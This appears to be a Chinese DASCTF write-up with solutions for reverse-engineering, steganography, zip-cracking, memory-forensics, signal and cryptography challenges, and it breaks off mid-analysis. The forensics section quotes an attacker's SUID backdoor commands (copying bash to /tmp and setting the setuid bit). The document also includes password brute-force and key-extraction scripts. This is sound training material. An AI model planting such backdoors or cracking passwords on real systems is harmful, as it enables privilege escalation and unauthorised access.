            result[k] = (byte) (data[k] ^ S[t]);

        }

        return result;

    }

写出解密代码即可

def rc4_initialize(key):

    # 初始化S盒

    S = list(range(256))

    j = 0

    for i in range(256):

        j = (j + S[i] + key[i % len(key)]) % 256

        S[i], S[j] = S[j], S[i]

    return S


def rc4_generate_keystream(S, data_length):

    # 生成密钥流

    i = 0

    j = 0

    keystream = []

    for _ in range(data_length):

        i = (i + 1) % 256

        j = (j + S[i]) % 256

        S[i], S[j] = S[j], S[i]

        K = S[(S[i] + S[j]) % 256]

        keystream.append(K)

    return keystream


def rc4_encrypt(key, data):

    key = [ord(c) for c in key]

    S = rc4_initialize(key)

    keystream = rc4_generate_keystream(S, len(data))

    encrypted_data = bytes([data_byte ^ keystream_byte for data_byte, keystream_byte in zip(data, keystream)])

    return encrypted_data


def main():

    # 文件名和密钥

    filename = 'Sex.jpg'

    key = 'DASCTF'


    # 读取文件内容

    with open(filename, 'rb') as f:

        data = f.read()


    # 进行 RC4 解密

    encrypted_data = rc4_encrypt(key, data)


    # 保存解密后的数据到新文件

    with open('Encrypto.dex', 'wb') as f:

        f.write(encrypted_data)


    print("解密完成,解密后的文件已保存为 'Encrypto.dex")


if __name__ == "__main__":

    main()

最终发现其实就是一个AES

package site.qifen.note.ui;


import android.util.Base64;

import javax.crypto.Cipher;

import javax.crypto.spec.SecretKeySpec;


/* loaded from: E:\DASCTF-46\BabAndroid\加密dex\DASCTF */

public class Encrypto {

    private static final String KEY = "DSACTF";

    private static final String TAG = "Encrypto";


    private static byte[] customHash(String input) {

        byte[] keyBytes = new byte[16];

        int[] temp = new int[16];

        for (int i = 0; i < input.length(); i++) {

            int charVal = input.charAt(i);

            for (int j = 0; j < 16; j++) {

                temp[j] = ((temp[j] * 31) + charVal) % 251;

            }

        }

        for (int i2 = 0; i2 < 16; i2++) {

            keyBytes[i2] = (byte) (temp[i2] % 256);

        }

        return keyBytes;

    }


    public static String encrypt(String data) throws Exception {

        byte[] keyBytes = customHash(KEY);

        SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");

        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");

        cipher.init(1, secretKeySpec);

        byte[] encryptedBytes = cipher.doFinal(data.getBytes("UTF-8"));

        return Base64.encodeToString(encryptedBytes, 2);

    }

}

通过Hook获取key,或者自己直接算,都可以。
Hook代码如下:

 Java.enumerateClassLoaders({

        onMatch: function (loader) {

            try {


                var factory = Java.ClassFactory.get(loader);

                var CheckerClass = factory.use("site.qifen.note.ui.Encrypto");

                var key = CheckerClass.customHash("DSACTF");

                console.log(key);



            } catch (e) {

                // console.log("Error accessing class or method: " + e);

            }

        },

        onComplete: function () {

        }

    });

发现hook到的返回值如下:
13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13如果自己算customHash代码如下:

def custom_hash(input_string):

    key_bytes = bytearray(16)  # 创建一个16字节的数组

    temp = [0] * 16  # 初始化一个长度为16的整数数组,所有元素为0


    # 遍历输入字符串中的每个字符

    for char in input_string:

        char_val = ord(char)  # 获取字符的Unicode编码

        for j in range(16):

            temp[j] = (temp[j] * 31 + char_val) % 251  # 更新临时数组


    # 将计算得到的临时数组转换为字节串

    for i in range(16):

        key_bytes[i] = temp[i] % 256


    return bytes(key_bytes)  # 返回字节串


# 测试函数

input_string = "DSACTF"

result = custom_hash(input_string)

for i in result:

    print(hex(i),end=',');

解AES得到如下字符串:458.853181,-18.325492,-18.251911,-2.097520,-21.198660,-22.304648,21.103162,-5.786284,-15.248906,15.329286,16.919499,-19.669045,30.928253,-37.588034,-16.593954,-5.505211,3.014744,6.553616,31.131491,16.472500,6.802400,-78.278577,15.280099,3.893073,56.493581,-34.576344,30.146729,4.445671,6.732204


  1. Native分析
    主要逻辑如下
__int64 __fastcall Java_site_qifen_note_ui_NoteActivity_sendInit(_JNIEnv *a1, __int64 a2, __int64 a3)
{
  std::__ndk1 *v3; // x0
  __int64 v5; // [xsp+8h] [xbp-138h]
  char *v6; // [xsp+10h] [xbp-130h]
  __int64 v7; // [xsp+48h] [xbp-F8h]
  __int64 v8; // [xsp+50h] [xbp-F0h]
  __int64 StringUTFChars; // [xsp+68h] [xbp-D8h]
  char v12[24]; // [xsp+88h] [xbp-B8h] BYREF
  char v13[24]; // [xsp+A0h] [xbp-A0h] BYREF
  __int64 v14; // [xsp+B8h] [xbp-88h] BYREF
  __int64 v15; // [xsp+C0h] [xbp-80h] BYREF
  char v16[24]; // [xsp+C8h] [xbp-78h] BYREF
  char v17[24]; // [xsp+E0h] [xbp-60h] BYREF
  char v18[24]; // [xsp+F8h] [xbp-48h] BYREF
  char v19[24]; // [xsp+110h] [xbp-30h] BYREF
  __int64 v20; // [xsp+128h] [xbp-18h]

  v20 = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, 0LL);
  sub_15994(v19, StringUTFChars);
  _JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
  v8 = sub_15A40(v19);
  v7 = sub_15AB4(v19);
  std::vector<int>::vector<std::__wrap_iter<char *>>(v18, v8, v7);
  encrypt(v18);
  sub_15C34(v16);
  v15 = sub_15C74(v17);
  v14 = sub_15CB4(v17);
  while ( (sub_15CF0(&v15, &v14) & 1) != 0 )
  {
    v3 = sub_15D38(&v15);
    std::to_string(v3, *v3);
    sub_15D50(v12, ",");
    sub_15D98(v16, v13);
    std::string::~string(v13);
    std::string::~string(v12);
    sub_15E34(&v15);
  }
  if ( (sub_15E5C(v16) & 1) == 0 )
    sub_15EA0(v16);
  v6 = sub_15FD4(v16);
  v5 = _JNIEnv::NewStringUTF(a1, v6);
  std::string::~string(v16);
  sub_15668(v17);
  sub_15FF8(v18);
  std::string::~string(v19);
  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  return v5;
}

double *__usercall encrypt@<X0>(__int64 a1@<X0>, __int64 a2@<X8>)
{
  double *result; // x0
  double *v3; // x8
  double v4; // [xsp+18h] [xbp-88h]
  double v5; // [xsp+28h] [xbp-78h]
  double v7; // [xsp+70h] [xbp-30h]
  int j; // [xsp+78h] [xbp-28h]
  int i; // [xsp+7Ch] [xbp-24h]
  int v10; // [xsp+84h] [xbp-1Ch]
  __int64 v12[2]; // [xsp+90h] [xbp-10h] BYREF

  v12[1] = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  v10 = sub_15548(a1);
  v12[0] = 0LL;
  result = std::vector<double>::vector(a2, v10, v12);
  for ( i = 0; i < v10; ++i )
  {
    for ( j = 0; j < v10; ++j )
    {
      v7 = *sub_15608(a1, j);
      v5 = cos((j + 0.5) * (i * 3.14159265) / v10) * v7;
      v3 = sub_15638(a2, i);
      *v3 = *v3 + v5;
    }
    if ( i )
      v4 = sqrt(2.0 / v10);
    else
      v4 = sqrt(1.0 / v10);
    result = sub_15638(a2, i);
    *result = *result * v4;
  }
  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  return result;
}

典型的离散余弦变换

  1. EXP:
#include <iostream>
#include <vector>
#include <cmath>

std::vector<double> decrypt(const std::vector<double>& input) {
    int v9 = input.size();
    std::vector<double> result(v9, 0.0);

    for (int i = 0; i < v9; ++i) {
        for (int j = 0; j < v9; ++j) {
            double v7 = (j == 0) ? sqrt(1.0 / v9) : sqrt(2.0 / v9);
            double v5 = input[j];
            double v6 = cos((i + 0.5) * (3.141592653589793 * j) / v9) * v5 * v7;
            result[i] += v6;
        }
        // 四舍五入
        result[i] = round(result[i]);
    }

    return result;
}

int main() {
    std::vector<double> input = {458.853181, -18.325492, -18.251911, -2.097520, -21.198660, -22.304648, 21.103162, -5.786284, -15.248906, 15.329286, 16.919499, -19.669045, 30.928253, -37.588034, -16.593954, -5.505211, 3.014744, 6.553616, 31.131491, 16.472500, 6.802400, -78.278577, 15.280099, 3.893073, 56.493581, -34.576344, 30.146729, 4.445671, 6.732204};
    std::vector<double> decrypted = decrypt(input);
    for (const auto& value : decrypted) {
        std::cout << (char) value;
    }
    std::cout << std::endl;

    return 0;
}

MISC

题目:png_master

解题步骤

下载附件,利用winhex查看

得到第一段flag

用010查看,发现有有问题的IDAT块

提取之后替换一个正常的png的IDAT,然后进行宽高爆破

得到

提示关注2和3

结合原图片的不正常显示

猜测进行了LSB处理,提取一下

from PIL import Image


img = Image.open('flag.png')

width, height = img.size


flag1 = ''


for y in range(0,height,3):

    for x in range(0,width,2):

        pixel = img.getpixel((x, y))

        print(pixel)

        flag1 += chr(pixel[3])

    print(flag1[:23])


得到最后一段flag

或者

中间缺一部分,把原图拖进stegsolve查看发现alpha plane 0-7左上角均有异常,勾选查看:

image

得到第二部分flag

拼接起来:

DASCTF{2fd9e9ff-e27d-5405-c5f5-a19131f86216}


题目:EZ_zip

解题步骤

直接解压会报错,010打开模板报错,发现解压文件长度不对

将文件头和目录区的长度都修改为7之后模板不再报错

再解压提示CRC报错,发现是解压方法被改成了store,跟压缩方法对不上

修改解压方式后成功解压出320.zip

注释处可以找到密码提示,是一个嵌套加密的zip,密码为一个字节

爆破脚本:

import pyzipper

import os

for i in range(320,0,-1):

    zip_filename = str(i) + ".zip"

    zf = pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES)

    for j in range(0,0xff+1):

        password = j.to_bytes(length=1, byteorder='big')

        zf.setpassword(password)

        try:

            zf.extractall()

            zf.close()

            os.remove(str(i) + ".zip")

            break

        except:

            pass

解压得到一个txt,提示加密方法为AES-ECB,并提示key可能在前面的过程中就出现了

联想到前面解压密码是字节形式,通过打印解压密码发现:

import pyzipper

import os

key = b''

for i in range(320,0,-1):

    zip_filename = str(i) + ".zip"

    zf = pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES)

    for j in range(0,0xff+1):

        password = j.to_bytes(length=1, byteorder='big')

        zf.setpassword(password)

        try:

            zf.extractall()

            key += password

            zf.close()

            os.remove(str(i) + ".zip")

            break

        except:

            pass

print(key[::-1].hex())


c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11


是循环的一个64位字符,将其当作key解密aes得到flag

题目:ServerMeM

解题步骤

1.全局搜索Linux version获得Kernel信息

Linux version 5.4.27 (root@localhost.localdomain) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)) #1 SMP Thu May 23 20:16:33 EDT 2024


2.根据所给内核信息,得知是Linux操作系统,内核版本为5.4.27,仿照创建CentOS虚拟机并更换内核,可参考

CentOS基于volatility2的内存取证实验_centos7安装volatility2-CSDN博客

Linux centos7升级内核(两种方法:内核编译和yum更新)-CSDN博客


# 下载源码包
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.4.27.tar.xz
tar -xf  linux-5.4.27.tar.xz
cd  linux-5.4.27

# 准备环境
yum install gcc make ncurses-devel openssl-devel flex bison perl elfutils-libelf-devel  -y
yum upgrade -y

# 编译
make menuconfig
make -j `nproc` && make modules_install && make install

3.将volatility官方所给的工具传输进虚拟机,并编译制作profile

# 安装dwarfdump

yum install wget

wget https://www.prevanders.net/libdwarf-20201201.tar.gz


tar -xf libdwarf-20201201.tar.gz

cd libdwarf-20201201


# 配置并编译

sudo ./configure

sudo make install

export PATH=$PATH:/usr/local/bin

编译dwarf文件

和systemmap文件一起打包制作成profile

ls -lh /boot/System.map-$(uname -r)

yum install redhat-lsb-core zip -y

sudo zip $(lsb_release -i -s)_$(uname -r)_profile.zip module.dwarf /boot/System.map-$(uname -r)

制作好的profile放入\volatility\plugins\overlays\linux目录下

--info成功获取到该profile


使用linux_bash命令获取history

python2 vol.py -f out.lime --profile=LinuxCentOS_5_4_27_profilex64 linux_bash

通过观察发现以下两条命令,可以确定黑客是留了一个suid的后门,同时根据获取的最后两条bash的pid不同,可以确定是通过另一个用户登陆并使用该shell执行

 cp /bin/bash /tmp/shell

 chmod u+s /tmp/shell

根据官方文档Linux Command Reference · volatilityfoundation/volatility Wiki (github.com),volatility的linux_bash是获取/bin/bash进程的信息

因此当黑客通过/tmp/shell进行操作时将无法被读取。

官方也给出了解决措施,可以使用-A参数扫描所有进程


python2 vol.py -f out.lime --profile=LinuxCentOS_5_4_27_profilex64 linux_bash -A


成功获取到了shell部分的命令

根据命令可以发现黑客使用了openssl对F14g.txt进行了加密,这里暂无很好的内置命令直接获取到运行时使用的密钥和S3rCr3t.dat信息,linux_find_file导出来全是0x00

尝试直接搜索tar -czf - F14ggg | openssl enc -e -aes256 -out ./S3rCr3t.tar.gz命令可以会很容易在内存上下文中获取到该密钥P@ssW0rdddd,以及后面cat获取到的Salted__开头的加密文件

解密时还要注意openssl的版本,通过观察前面命令记录发现shell也查看了openssl的版本

同样方法可以读取到版本信息为

OpenSSL 1.0.2k-fips  26 Jan 2017

将加密文件导入虚拟机,用相近版本进行解密即可

openssl enc -d -aes256 -in S3rCr3t.tar.gz | tar xz -C ./

# P@ssW0rdddd

或者

https://xz.aliyun.com/t/11800

https://xz.aliyun.com/t/13195

Linux内存取证,要做符号表,但其实可以不用,直接strings就好了

个人习惯先过一遍可疑文件:

image

发现有个这个S3rCr3t.tar.gz,并且说明了加密类型是openssl的aes256,经过这种加密的特征就是Salted_加盐值,拖进winhex里:

image

发现有命令,导出来:

image

OK,剩下的就是爆搜密钥了,ctfer常见的密钥:keyDASCTFPassword 然后在这里面加数字呗,这样写个脚本就好了:

import re

# 要搜索的字符列表
search_terms = [
    b"key", b"password", b"dasctf", b"k3y", b"p@ssword", b"passw0rd",
    b"p@ssw0rd", b"secret", b"s3cret", b"s3cr3t", b"s3cre4"#遇到一个加一个,CTFer的好习惯
]

# 要搜索的文件路径
file_path = "out.lime"

# 读取文件内容
with open(file_path, "rb") as file:
    data = file.read()

# 搜索字符并打印结果
for term in search_terms:
    # 后面可以跟随任意字符的模式
    regex = re.compile(re.escape(term) + b".*", re.IGNORECASE)
    for match in regex.finditer(data):
        matched_text = match.group()
        print(f"Found '{term.decode()}' match: {matched_text[:50]}...")  # 只显示前50个字节

# 内存取证是这样的,而我们非预期选手考虑的就很多了

QQ_1721559724408

找到了密钥:P@ssW0rdddd

然后就是OpenSSL还得用原来版本的进行解密,CentOS镜像我没拉取下来,于是直接更换了某个docker里openssl

https://blog.csdn.net/weixin_44174099/article/details/122089980

image

更换成功,有命令,直接解密就好了

image

image

DASCTF{c086cd55-b86a-4ee6-8933-c8bee578148a}


题目:ez_wav

解题步骤
首先我们看到key.grc


hint给了key的形式,上图中给的流程图讲述了附件中的look.txt是怎么来的,我们想要得到key就要按照相同的流程逆转回去
流程大意:
信号源——》xor->数据类型转换->相乘一个常数->写入
下面的Vector Source提供的一个脉冲信号
expgrc


我们就和上述的流程图操作进行相反的操作就好(很有misc思维

于是得到密码good_job。
然后我们再看flag.grc


am调制的原理如下

其实就是我们高中物理学过的波形的叠加,所以如果我们想要抵消载波的影响,那么就需要给他相乘一个相反的波形就好



上图是am解调的过程
然后剩下的就是那个key的异或过程,这里其实没啥好说的,就直接异或回去就好
最终的expgrc


这里设计的低通滤波器是为了过滤到杂乱的高频段的噪声,是取有用的信号部分,是我们最后的得到的声音更清晰一些
最后听到的数字是
one one two two zero nine six seven1
DASCTF{11220967}



CRYPTO

题目:complex_enc

解题步骤

from Crypto.Util.number import *
import random
from secret import flag


def GET_KEY(n):
sum=2
key=[1]
for i in range(n):
r=random.randint(0,1)
x=sum+random.randint(0,n)*r
key.append(x)
sum+=x
return key

def enc(m,k):
cipher_list = []
for i in range(len(m)):
if m[i] == 1:
cipher_list.append(m[i] * k[i])
cipher = sum(cipher_list)
return cipher

m=bytes_to_long(flag)
m = [int(bit) for byte in flag for bit in format(byte, '08b')]
key=GET_KEY(len(m))
c=enc(m,key)

with open('output.txt', 'w') as f:
f.write(str(c))
f.write(str(key))

output.txt:

287687761937146187597379915545639385740275457170939564210821293233370716878150576

[1, 2, 87, 99, 190, 380, 760, 1702, 3350, 6712, 13302, 26669, 53257, 106512, 213212, 426262, 852583, 1705083, 3410164, 6820581, 13640909, 27281818, 54563749, 109127508, 218254958, 436509851, 873019897, 1746039768, 3492079367, 6984158992, 13968317822, 27936635563, 55873271257, 111746542368, 223493084736, 446986169472, 893972338944, 1787944677888, 3575889355776, 7151778711750, 14303557423366, 28607114846668, 57214229693336, 114428459386792, 228856918773559, 457713837547023, 915427675094046, 1830855350188252, 3661710700376344, 7323421400752912, 14646842801505675, 29293685603011275, 58587371206022773, 117174742412045483, 234349484824090806, 468698969648181659, 937397939296363271, 1874795878592726601, 3749591757185453143, 7499183514370906547, 14998367028741812852, 29996734057483625898, 59993468114967251756, 119986936229934503501, 239973872459869007099, 479947744919738013939, 959895489839476027878, 1919790979678952055983, 3839581959357904111739, 7679163918715808223719, 15358327837431616447319, 30716655674863232894717, 61433311349726465789458, 122866622699452931578804, 245733245398905863157495, 491466490797811726314990, 982932981595623452629980, 1965865963191246905260222, 3931731926382493810520182, 7863463852764987621040623, 15726927705529975242080987, 31453855411059950484161974, 62907710822119900968323970, 125815421644239801936647918, 251630843288479603873295836, 503261686576959207746591710, 1006523373153918415493183613, 2013046746307836830986367190, 4026093492615673661972734253, 8052186985231347323945468456, 16104373970462694647890936894, 32208747940925389295781874025, 64417495881850778591563748059, 128834991763701557183127495888, 257669983527403114366254991760, 515339967054806228732509983520, 1030679934109612457465019967093, 2061359868219224914930039934133, 4122719736438449829860079868450, 8245439472876899659720159736935, 16490878945753799319440319473651, 32981757891507598638880638947330, 65963515783015197277761277894728, 131927031566030394555522555789579, 263854063132060789111045111579109, 527708126264121578222090223158048, 1055416252528243156444180446316096, 2110832505056486312888360892632193, 4221665010112972625776721785264450, 8443330020225945251553443570528835, 16886660040451890503106887141057670, 33773320080903781006213774282115477, 67546640161807562012427548564230882, 135093280323615124024855097128461699, 270186560647230248049710194256923398, 540373121294460496099420388513846796, 1080746242588920992198840777027693592, 2161492485177841984397681554055387246, 4322984970355683968795363108110774528, 8645969940711367937590726216221549105, 17291939881422735875181452432443098117, 34583879762845471750362904864886196180, 69167759525690943500725809729772392360, 138335519051381887001451619459544784838, 276671038102763774002903238919089569616, 553342076205527548005806477838179139174, 1106684152411055096011612955676358278348, 2213368304822110192023225911352716556750, 4426736609644220384046451822705433113446, 8853473219288440768092903645410866226907, 17706946438576881536185807290821732453830, 35413892877153763072371614581643464907890, 70827785754307526144743229163286929815519, 141655571508615052289486458326573859631099, 283311143017230104578972916653147719262229, 566622286034460209157945833306295438524626, 1133244572068920418315891666612590877049074, 2266489144137840836631783333225181754098066, 4532978288275681673263566666450363508196132, 9065956576551363346527133332900727016392264, 18131913153102726693054266665801454032784553, 36263826306205453386108533331602908065569081, 72527652612410906772217066663205816131138180, 145055305224821813544434133326411632262276342, 290110610449643627088868266652823264524552684, 580221220899287254177736533305646529049105368, 1160442441798574508355473066611293058098210736, 2320884883597149016710946133222586116196421472, 4641769767194298033421892266445172232392842944, 9283539534388596066843784532890344464785686063, 18567079068777192133687569065780688929571371951, 37134158137554384267375138131561377859142743902, 74268316275108768534750276263122755718285487804, 148536632550217537069500552526245511436570975608, 297073265100435074139001105052491022873141951360, 594146530200870148278002210104982045746283902576, 1188293060401740296556004420209964091492567805360, 2376586120803480593112008840419928182985135610512, 4753172241606961186224017680839856365970271221024, 9506344483213922372448035361679712731940542442048, 19012688966427844744896070723359425463881084884096, 38025377932855689489792141446718850927762169768220, 76050755865711378979584282893437701855524339536412, 152101511731422757959168565786875403711048679072824, 304203023462845515918337131573750807422097358145648, 608406046925691031836674263147501614844194716291296, 1216812093851382063673348526295003229688389432582797, 2433624187702764127346697052590006459376778865165617, 4867248375405528254693394105180012918753557730331006, 9734496750811056509386788210360025837507115460662129, 19468993501622113018773576420720051675014230921324265, 38937987003244226037547152841440103350028461842648406, 77875974006488452075094305682880206700056923685296910, 155751948012976904150188611365760413400113847370593722, 311503896025953808300377222731520826800227694741187444, 623007792051907616600754445463041653600455389482374933, 1246015584103815233201508890926083307200910778964749821, 2492031168207630466403017781852166614401821557929499642, 4984062336415260932806035563704333228803643115858999284, 9968124672830521865612071127408666457607286231717998666, 19936249345661043731224142254817332915214572463435997301, 39872498691322087462448284509634665830429144926871994535, 79744997382644174924896569019269331660858289853743989190, 159489994765288349849793138038538663321716579707487978260, 318979989530576699699586276077077326643433159414975956596, 637959979061153399399172552154154653286866318829951913129, 1275919958122306798798345104308309306573732637659903826311, 2551839916244613597596690208616618613147465275319807652591, 5103679832489227195193380417233237226294930550639615305147, 10207359664978454390386760834466474452589861101279230610294, 20414719329956908780773521668932948905179722202558461220588, 40829438659913817561547043337865897810359444405116922441176, 81658877319827635123094086675731795620718888810233844882508, 163317754639655270246188173351463591241437777620467689764860, 326635509279310540492376346702927182482875555240935379529854, 653271018558621080984752693405854364965751110481870759059704, 1306542037117242161969505386811708729931502220963741518119363, 2613084074234484323939010773623417459863004441927483036238705, 5226168148468968647878021547246834919726008883854966072477346, 10452336296937937295756043094493669839452017767709932144954692, 20904672593875874591512086188987339678904035535419864289909384, 41809345187751749183024172377974679357808071070839728579818768, 83618690375503498366048344755949358715616142141679457159637536, 167237380751006996732096689511898717431232284283358914319275072, 334474761502013993464193379023797434862464568566717828638550144, 668949523004027986928386758047594869724929137133435657277100288, 1337899046008055973856773516095189739449858274266871314554200576, 2675798092016111947713547032190379478899716548533742629108401375, 5351596184032223895427094064380758957799433097067485258216802527, 10703192368064447790854188128761517915598866194134970516433605054, 21406384736128895581708376257523035831197732388269941032867210108, 42812769472257791163416752515046071662395464776539882065734420216, 85625538944515582326833505030092143324790929553079764131468840607, 171251077889031164653667010060184286649581859106159528262937681073, 342502155778062329307334020120368573299163718212319056525875362112, 685004311556124658614668040240737146598327436424638113051750724224, 1370008623112249317229336080481474293196654872849276226103501448448, 2740017246224498634458672160962948586393309745698552452207002896896, 5480034492448997268917344321925897172786619491397104904414005793914, 10960068984897994537834688643851794345573238982794209808828011587706, 21920137969795989075669377287703588691146477965588419617656023175412, 43840275939591978151338754575407177382292955931176839235312046350824, 87680551879183956302677509150814354764585911862353678470624092701691, 175361103758367912605355018301628709529171823724707356941248185403485, 350722207516735825210710036603257419058343647449414713882496370806824, 701444415033471650421420073206514838116687294898829427764992741613648, 1402888830066943300842840146413029676233374589797658855529985483227499, 2805777660133886601685680292826059352466749179595317711059970966454839, 5611555320267773203371360585652118704933498359190635422119941932909634, 11223110640535546406742721171304237409866996718381270844239883865819325, 22446221281071092813485442342608474819733993436762541688479767731638735, 44892442562142185626970884685216949639467986873525083376959535463277328, 89784885124284371253941769370433899278935973747050166753919070926554729, 179569770248568742507883538740867798557871947494100333507838141853109648, 359139540497137485015767077481735597115743894988200667015676283706219166, 718279080994274970031534154963471194231487789976401334031352567412438331, 1436558161988549940063068309926942388462975579952802668062705134824876530, 2873116323977099880126136619853884776925951159905605336125410269649753060, 5746232647954199760252273239707769553851902319811210672250820539299506381, 11492465295908399520504546479415539107703804639622421344501641078599012695, 22984930591816799041009092958831078215407609279244842689003282157198025444, 45969861183633598082018185917662156430815218558489685378006564314396050678, 91939722367267196164036371835324312861630437116979370756013128628792101318, 183879444734534392328072743670648625723260874233958741512026257257584202636, 367758889469068784656145487341297251446521748467917483024052514515168405272, 735517778938137569312290974682594502893043496935834966048105029030336810544, 1471035557876275138624581949365189005786086993871669932096210058060673621088, 2942071115752550277249163898730378011572173987743339864192420116121347242216, 5884142231505100554498327797460756023144347975486679728384840232242694484649, 11768284463010201108996655594921512046288695950973359456769680464485388969041, 23536568926020402217993311189843024092577391901946718913539360928970777938082, 47073137852040804435986622379686048185154783803893437827078721857941555876305, 94146275704081608871973244759372096370309567607786875654157443715883111752579, 188292551408163217743946489518744192740619135215573751308314887431766223505070, 376585102816326435487892979037488385481238270431147502616629774863532447010118, 753170205632652870975785958074976770962476540862295005233259549727064894020344, 1506340411265305741951571916149953541924953081724590010466519099454129788040580, 3012680822530611483903143832299907083849906163449180020933038198908259576081160, 6025361645061222967806287664599814167699812326898360041866076397816519152162452, 12050723290122445935612575329199628335399624653796720083732152795633038304324883, 24101446580244891871225150658399256670799249307593440167464305591266076608649853, 48202893160489783742450301316798513341598498615186880334928611182532153217299508, 96405786320979567484900602633597026683196997230373760669857222365064306434599262, 192811572641959134969801205267194053366393994460747521339714444730128612869198530, 385623145283918269939602410534388106732787988921495042679428889460257225738396863]


看这个output形状就知道是个经典的超递增背包,所以用最终sum倒着逐个减回来就行。

分析

首先审计代码,可以看见定义了两个函数creat_key以及enc,分析两个函数的作用:

def creat_key(n):

    sum=2

    key=[1]

    for i in range(n):

        r=random.randint(0,1)

        x=sum+random.randint(0,n)*r

        key.append(x)

        sum+=x

    return key

这是一个生成长度为n的密钥的函数,先随机取第一个元素放到key中,同时用sum记录密钥中元素之和,这里的r会随机取0、1,使后面每次生成的元素可能是前面所有数之和,也可能会多一点,将生成的所有元素作为密钥中的元素再将生成的密钥加到key中,并用sum记录所有密钥元素之和,如此循环往复,可以生成一段超递增序列作为密钥。


def enc(m,k):

    cipher_list = []

    for i in range(len(m)):

        if m[i] == 1:

            cipher_list.append(m[i] * k[i])

    cipher = sum(cipher_list)

    return cipher


这段加密函数的两个参数,都为列表,且m为由0,1组成的列表,后面对明文进行了处理变成了这个形式,然后这里m只有0,1,就相当于求m和k两个向量的数量积,将m为1的项与k对应的项相乘在求和得到密文

m = [int(bit) for byte in flag if byte != 0 for bit in format(byte, '08b')]

这段代码会遍历flag 中的每一个字节,并将每个字节转换为8位的二进制字符串,然后将这个字符串中的每一位(作为一个字符)转换为整数,并将这些整数收集到一个列表中,也就是将flag的整形数字变为2进制再将每位存在一个列表中,且要注意,它的首位为0。

思路

这道题主要考察的是背包密码加密,而这里的密钥是一个超递增序列可以帮助我们去很方便的解决这个问题

如果a的组合为一个超递增序列,则第n项an应该大于前面所有的数,因为b为0或1,a不是有就是没有,我们就将W与an进行比较分两种情况:

1、W大于或等于an

如果an没有,前面的所有项之和小于an不可能等于W,所以an一定有

2、W小于an

W小于an则必然是没有an的

于是通过比较W与an的大小判断出bn是0还是1,然后去掉an后对an-1同样操作,直到变成0为止

此外,因为an前面所有的数之和小于an,所以W的最大值不会大于或等于an的两倍,

我们就根据这个思路往不断前推,直到背包里的东西全拿完。

我们就可以根据这个思路来解此题

exp1:


from Crypto.Util.number import *

#对私钥重排

def relist(pub):

    a = pub[:]

    c = []

    while a:  # 当a不为空时

        m = min(a)

        c.append(m)

        a.remove(m)

    return c

#解密

def resolve(pub,a,w):

    b=[]

    for j in range(1,len(a)):

        b.append(0)     #用0填充方便后面替换

    for i in range(1,len(a)):

        an=a[len(a)-i-1]

        id=pub.index(an)

        if w<an:

            None

        else:

            w=w-an

            b[id:id+1]=[1]  #将0替换成1

    if w==0:    #说明解密完成

        return b


def decrypto(pub,w):

    a=relist(pub)

    m=resolve(pub,a,w)

    return m

c= 

key=


m=decrypto(key,c)

print(m)

ml=''

for i in range(len(m)):

    ml+=str(m[i])

print(long_to_bytes(int(ml,2)))


题目:found

解题步骤

题目描述

task.py:

from Crypto.Util.number import *

from random import *

from secret import flag

from sympy import *


bits = 1024

l = 138833858362699289505402947409766595473722379891580589518174731439613184249727659678966809301611194545239974736175752769503863392697421092435438747741790652435801956708356186578269272819715592752821497122516109657809748674185639254430403157877064556216401002688452227124543508128414591884297632663910714681207


assert isPrime(l)


def generate_prime(bits):

    return randprime(2**(bits-1), 2**bits)


def fun(data,y,n):

    return sum([data[i] * pow(y,i,n) for i in range(len(data))]) % n


def gen(x, y, z, w, n):

    data = [randint(n // 4, n) for _ in range(10)]

    leak1 = pow(x + pow(y, z, n), w, n)

    leak2 = fun(data, y, n)

    return data, leak1, leak2


def encrypt(l,m,n):

    mm = bin(m)[2:].zfill((m.bit_length() // 8 + 1) * 8)

    length = len(mm)

    c = []

    s = []

    for i in range(length):

        a = randint(1, n)

        s.append(pow(a, length, n))

    for j in range(length):

        c.append(pow(l,int(mm[j]),n) * s[j] % n)

    return c


p, q = [generate_prime(bits) for _ in range(2)]

r = generate_prime(bits // 4)

n = p ** 2 * q * r

e1 = generate_prime(128)

e2 = generate_prime(128)

phi1 = p * (p - 1) * (q - 1) * (r - 1)

phi2 = (p - 1) * (p - 2) * (q - 2) * (r - 2)

d1 = inverse(e1, phi1)

d2 = inverse(e2, phi2)


t = getRandomRange(n // 4, n)

data, leak1, leak2 = gen(r, t, e1, d1, n)

m = bytes_to_long(flag)

c = encrypt(l, m, n)


with open('output.txt','w') as f:

    f.write(f'n = {n}\n')

    f.write(f'e1 = {e1}\n')

    f.write(f'ed = {e2 * d2}\n')

    f.write(f'data = {data}\n')

    f.write(f'leak1 = {leak1}\n')

    f.write(f'leak2 = {leak2}\n')

    f.write(f'c = {c}')

题目分析

通过 我们知道:

我们知道有:

我们将式子变一下

